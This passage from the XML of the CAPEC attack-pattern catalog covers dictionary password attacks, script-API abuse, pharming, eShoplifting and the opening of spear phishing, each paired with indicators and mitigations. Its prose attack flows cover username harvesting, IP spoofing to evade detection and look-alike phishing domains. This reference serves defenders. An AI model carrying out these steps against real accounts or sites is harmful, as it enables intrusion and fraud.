				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>714<!--OWASP Top Ten 2007 Category A3 - Malicious File Execution-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CAPEC-132</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Symlink redirect</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>176<!--Configuration/Environment manipulation-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/176.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>132<!--Symlink Attack-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>Share Library Call Redirection Via ELF PLT
						Infection</Reference_Title>
					<Reference_Publication>Phrack Magazine, Issue 56</Reference_Publication>
					<Reference_Link>http://www.phrack.org/issues.html?issue=56&amp;id=7</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP Top 10 2007 – Malicious File Execution</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A3</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="16" Name="Dictionary-based Password Attack"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker tries each of the words in a dictionary as passwords to gain
						access to the system via some user's account. If the password chosen by the
						user was a word within the dictionary, this attack will be successful (in
						the absence of other mitigations). This is a specific instance of the
						password brute forcing attack pattern.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine application's/system's password
											policy</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the password policies of the target
												application/system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Determine minimum and maximum allowed
												password lengths.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Determine format of allowed passwords
												(whether they are required or allowed to contain
												numbers, special characters, etc., or whether they
												are allowed to contain words from the
												dictionary).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Determine account lockout policy (a strict
												account lockout policy will prevent brute force
												attacks).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Passwords are used in the
												application/system</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Passwords are not used in the
												application/system.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Select dictionaries</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Pick the dictionaries to be used in the attack
												(e.g. different languages, specific terminology,
												etc.)</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Select dictionary based on particular users'
												preferred languages.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Select dictionary based on the
												application/system's supported languages.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine username(s) to
											target</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine username(s) whose passwords to
												crack.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Obtain username(s) by sniffing network
												packets.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Obtain username(s) by querying
												application/system (e.g. if upon a failed login
												attempt, the system indicates whether the entered
												username was valid or not)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Obtain usernames from filesystem (e.g. list
												of directories in C:\Documents and Settings\ in
												Windows, and list in /etc/passwd in UNIX-like
												systems)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Remote application or system provides no
												indication regarding whether a given username is
												valid or not.</Text>
												</Indicator_Description>
												<Environments>env-ClientServer env-Peer2Peer env-Web
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one valid username
												found.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Presence of any valid usernames
												could not be established.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Do not reveal
												information regarding validity of particular
												usernames to users.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Corrective">
												<Security_Control_Description>Lock out accounts
												whose usernames are suspected to have been
												compromised.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Use dictionary to crack
											passwords.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Use a password cracking tool that will leverage
												the dictionary to feed passwords to the system and
												see if they work. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Try all words in the dictionary, as well as
												common misspellings of the words as passwords for
												the chosen username(s).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Try common combinations of words in the
												dictionary, as well as common misspellings of the
												combinations as passwords for the chosen
												username(s).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Application/system does not use password
												authentication.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker determines correct
												password for a user ID and obtains access to
												application or system.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker is unable to determine
												correct password for a user ID and obtain access
												to application or system.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Large number of
												authentication failures in
												logs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Enforce strict account
												lockout policies.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Enforce strong
												passwords (having sufficient length and containing
												mix of lower case and upper case letters, numbers,
												and special
												characters)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The system uses one factor password based authentication.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The system does not have a sound password policy that is being
						enforced.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The system does not implement an effective password throttling
						mechanism.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A system user selects the word "treacherous" as their passwords
							believing that it would be very difficult to guess. The password-based
							dictionary attack is used to crack this password and gain access to the
							account.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The Cisco LEAP challenge/response authentication mechanism uses
							passwords in a way that is susceptible to dictionary attacks, which
							makes it easier for remote attackers to gain privileges via brute force
							password guessing attacks.</Text>
						<Text>Cisco LEAP is a mutual authentication algorithm that supports dynamic
							derivation of session keys. With Cisco LEAP, mutual authentication
							relies on a shared secret, the user's logon password—which is known by
							the client and the network, and is used to respond to challenges between
							the user and the Remote Authentication Dial-In User Service (RADIUS)
							server.</Text>
						<Text>Methods exist for someone to write a tool to launch an offline
							dictionary attack on password-based authentications that leverage
							Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password
							lists to efficiently launch offline dictionary attacks against LEAP user
							accounts, collected through passive sniffing or active
							techniques.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2003-1096</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>A variety of password cracking tools and dictionaries are available to
							launch this type of an attack.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>A machine with sufficient resources for the job (e.g. CPU, RAM, HD).
					Applicable dictionaries are required. Also a password cracking tool or a custom
					script that leverages the dictionary database to launch the attack.</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Many invalid login attempts are coming from the same machine (same IP
							address) or for the same log in name. The login attempts use passwords
							that are dictionary words.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Employ IP spoofing to make it seem like login attempts are coming from
							different machines.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Create a strong password policy and ensure that your system enforces this
						policy.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implement an intelligent password throttling mechanism. Care must be taken
						to assure that these mechanisms do not excessively enable account lockout
						attacks such as CAPEC-02.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>521<!--Weak Password Requirements--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>262<!--Not Using Password Aging--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>263<!--Password Aging with Long Expiration--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>49<!--Password Brute Forcing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Solutions</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="160" Name="Programming to included script-based APIs"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>Some APIs support scripting instructions as arguments. Methods that take
						scripted instructions (or references to scripted instructions) can be very
						flexible and powerful. However, if an attacker can specify the script that
						serves as input to these methods they can gain access to a great deal of
						functionality. For example, HTML pages support &lt;script&lt; tags that
						allow scripting languages to be embedded in the page and then interpreted by
						the receiving web browser. If the content provider is malicious, these
						scripts can compromise the client application. Some applications may even
						execute the scripts under their own identity (rather than the identity of
						the user providing the script) which can allow attackers to perform
						activities that would otherwise be denied to them.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must include the use of APIs that execute
						scripts.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target application must allow the attacker to provide some or all of
						the arguments to one of these script interpretation methods and must fail to
						adequately filter these arguments for dangerous or unwanted script
						commands.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have the ability to write a script and submit it to the
					appropriate API method in the target application.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>113<!--API Abuse/Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="161" Name="Infrastructure Manipulation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits characteristics of the infrastructure of a network
						entity in order to perpetrate attacks or information gathering on network
						objects or effect a change in the ordinary information flow between network
						objects. Most often, this involves manipulation of the routing of network
						messages so, instead of arriving at their proper destination, they are
						directed towards an entity of the attacker's choosing, usually a server
						controlled by the attacker. The victim is often unaware that their messages
						are not being processed correctly. For example, a targeted client may
						believe they are connecting to their own bank but, in fact, be connecting to
						a Pharming site controlled by the attacker which then collects the user's
						login information in order to hijack the actual bank account.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted client must access the site via infrastructure that the
						attacker has co-opted and must fail to adequately verify that the
						communication channel is operating correctly (e.g. by verifying that they
						are, in fact, connected to the site they intended.)</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to corrupt the infrastructure used by the client.
					For some variants of this attack, the attacker must be able to stand up their
					own services that mimic the services the targeted client intends to use.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="162"
			Name="Manipulating hidden fields to change the normal flow of transactions (eShoplifting)"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in the server's trust of client-side
						processing by modifying data on the client-side, such as price information,
						and then submitting this data to the server to effect a change in the state
						of an ordinary transaction. eShoplifting is a data manipulation attack
						against an on-line merchant during a purchasing transaction. The
						manipulation of price, discount or quantity fields in the transaction
						message allows the attacker to acquire items at a lower cost than the
						merchant intended. The attacker performs a normal purchasing transaction but
						edits hidden fields within the HTML form response that store price or other
						information to give themselves a better deal. The merchant then uses the
						modified pricing information in calculating the cost of the selected
						items.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted merchant site must us a shopping cart that does not obfuscate
						the transaction data and does not validate pricing with back end
						processing.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to craft HTTP responses to the target's shopping
					site.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>212<!--Functionality Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="163" Name="Spear Phishing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker targets a specific user or group with a Phishing (CAPEC-98)
						attack tailored to a category of users in order to have maximum relevance
						and deceptive capability. Spear Phishing is an enhanced version of the
						Phishing attack targeted to a specific user or group. The quality of the
						targeted email is usually enhanced by appearing to come from a known or
						trusted entity. If the email account of some trusted entity has been
						compromised the message may be digitally signed. The message will contain
						information specific to the targeted users that will enhance the probability
						that they will follow the URL to the compromised site. For example, the
						message may indicate knowledge of the targets employment, residence,
						interests, or other information that suggests familiarity. As soon as the
						user follows the instructions in the message, the attack proceeds as a
						standard Phishing attack.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Obtain useful contextual detailed
											information about the targeted user or
											organization:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker collects useful contextual detailed
												information about the targeted user or organization
												in order to craft a more deceptive and enticing
												message to lure the target into responding.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Conduct web searching research of
												target.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>405</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Identify trusted associates, colleagues and
												friends of target.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>405</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Utilize social engineering attack patterns
												such as Pretexting.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>407</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Collect social information via dumpster
												diving.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>406</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Collect social information via traditional
												sources.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>408</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="6">
												<Attack_Step_Technique_Description>
												<Text>Collect social information via
												Non-traditional sources.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>409</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Optional: Obtain domain name and
											certificate to spoof legitimate
											site:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>This optional step can be used to help the
												attacker impersonate the legitimate site more
												convincingly. The attacker can use homograph attacks
												to convince users that they are using the legitimate
												website. Note that this step is not required for
												phishing attacks, and many phishing attacks simply
												supply URLs containing an IP address and no SSL
												certificate.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Optionally obtain a domain name that
												visually looks similar to the legitimate site's
												domain name. An example is www.paypaI.com vs.
												www.paypal.com (the first one contains a capital
												i, instead of a lower case L).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Optionally obtain a legitimate SSL
												certificate for the new domain name.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Websites can acquire
												many domain names that are similar to their own.
												For example, the company example.com should be
												sure to register example.net, .org, .biz, .info
												and so on. Likewise they should register
												exarnple.com, examp1e.com, exampIe.com (and
												possibly .net, .org variations). Although this
												does not preclude the possibility of phishing, it
												makes the attacker's job harder because all the
												easily believable names are
												taken.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Optional: Explore legitimate website and
											create duplicate:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker creates a website (optionally at a URL
												that looks similar to the original URL) that closely
												resembles the website that he or she is trying to
												impersonate. That website will typically have a
												login form for the victim to put in their
												authentication credentials. There can be different
												variations on a theme here. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use spidering software to get copy of web
												pages on legitimate site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Manually save copies of required web pages
												from legitimate site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Create new web pages that have the
												legitimate site's look at feel, but contain
												completely new content.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Optional: Build variants of the website
											with very specific user information e.g., living area,
											etc.:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Once the attacker has his website which duplicates
